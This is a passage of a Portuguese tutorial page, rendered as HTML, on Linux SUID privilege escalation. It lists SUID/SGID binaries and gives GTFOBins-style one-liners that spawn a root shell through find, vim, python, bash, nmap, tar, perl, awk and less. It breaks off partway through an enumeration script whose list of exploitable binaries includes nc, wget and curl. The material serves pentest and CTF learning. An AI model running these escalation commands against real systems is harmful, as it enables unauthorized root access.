&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /sbin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /opt&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /home&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Também checa binários SGID (roda como dono do grupo)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -g=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Um sistema limpo retornará uma lista curta e previsível. Procure por qualquer coisa &lt;strong&gt;incomum&lt;/strong&gt; — caminhos não padrão, scripts customizados, ou ferramentas de desenvolvimento.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;passo-2--cruzamento-de-referência-com-o-gtfobins&quot;&gt;Passo 2 — Cruzamento de Referência com o GTFOBins&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://gtfobins.github.io/&quot;&gt;GTFOBins&lt;/a&gt; é a referência definitiva para binários Unix que podem ser abusados quando possuem permissões elevadas.&lt;/p&gt;
&lt;h3 id=&quot;find&quot;&gt;find&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verifica se o SUID está ativado&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -la&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;which&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; find&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# -rwsr-xr-x 1 root root 204112 ... /usr/bin/find&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Exploração — spawna uma shell root&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -exec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin/sh&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -quit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verifica o escalonamento&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A flag &lt;code&gt;-p&lt;/code&gt; é crítica — ela diz ao &lt;code&gt;sh&lt;/code&gt; para &lt;strong&gt;preservar o UID efetivo&lt;/strong&gt; em vez de descartá-lo.&lt;/p&gt;
&lt;h3 id=&quot;vim--vi&quot;&gt;vim / vi&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Checa&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -la&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;which&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; vim&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Método 1: via extensão Python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vim&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;:py3 import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec sh -p&quot;)&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Método 2: spawn direto de shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vim&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;:!sh -p&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Método 3: via escape de shell no modo normal (dentro do vim)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# :set shell=/bin/sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# :shell&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;python--python3&quot;&gt;python / python3&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Também funciona no python2 mais antigo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;bash&quot;&gt;bash&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Apenas explorável se o SUID estiver no próprio bash (raro, mas acontece em CTFs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -la&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# -rwsr-xr-x 1 root root ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;bash&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# bash-5.1# whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;nmap-versões-legacy--535&quot;&gt;nmap (versões legacy &amp;#x3C; 5.35)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Modo interativo disponível em versões antigas do nmap&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --interactive&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;!sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;tar&quot;&gt;tar&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;tar&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -cf&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /dev/null&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /dev/null&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --checkpoint=1&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --checkpoint-action=exec=/bin/sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;perl&quot;&gt;perl&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;perl&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;exec &quot;/bin/sh&quot;;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;awk&quot;&gt;awk&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;awk&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;BEGIN {system(&quot;/bin/sh -p&quot;)}&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;less--more&quot;&gt;less / more&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Dentro do pager less/more&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;less&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /etc/passwd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Então digite:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/bin/sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;passo-3--script-de-enumeração-automatizada&quot;&gt;Passo 3 — Script de Enumeração Automatizada&lt;/h2&gt;
&lt;p&gt;O script a seguir cruza a referência de binários SUID descobertos com uma lista de conhecidos por serem exploráveis e gera os alvos priorizados.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# suid_hunter.sh — Enumeração e triagem de SUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Uso: ./suid_hunter.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Autor: r3d/ops | KBM Security&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RED&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;\033[0;31m&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;YEL&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;\033[0;33m&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;GRN&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;\033[0;32m&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;\033[0;34m&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;\033[0m&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;nmap|vim|vi|find|python|python3|bash|perl|ruby|tar|wget|curl&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;|nc|netcat|awk|less|more|man|ftp|gdb|strace|ltrace|tclsh&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;|env|expect|lua|php|ruby|node|git|zip|unzip|7z|aria2c&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}[*] SUID Binary Hunter — r3d/ops${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}[*] Escaneando o filesystem...${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BINS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TOTAL&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$BINS&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wc&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Encontrados ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;YEL&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TOTAL&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;} binários SUID\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Checando contra a lista de exploráveis conhecidos...\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HIT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; IFS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; bin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;basename&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  owner&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;stat&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;%U&apos;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  perms&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;stat&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;%A&apos;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$name&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -qiE&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
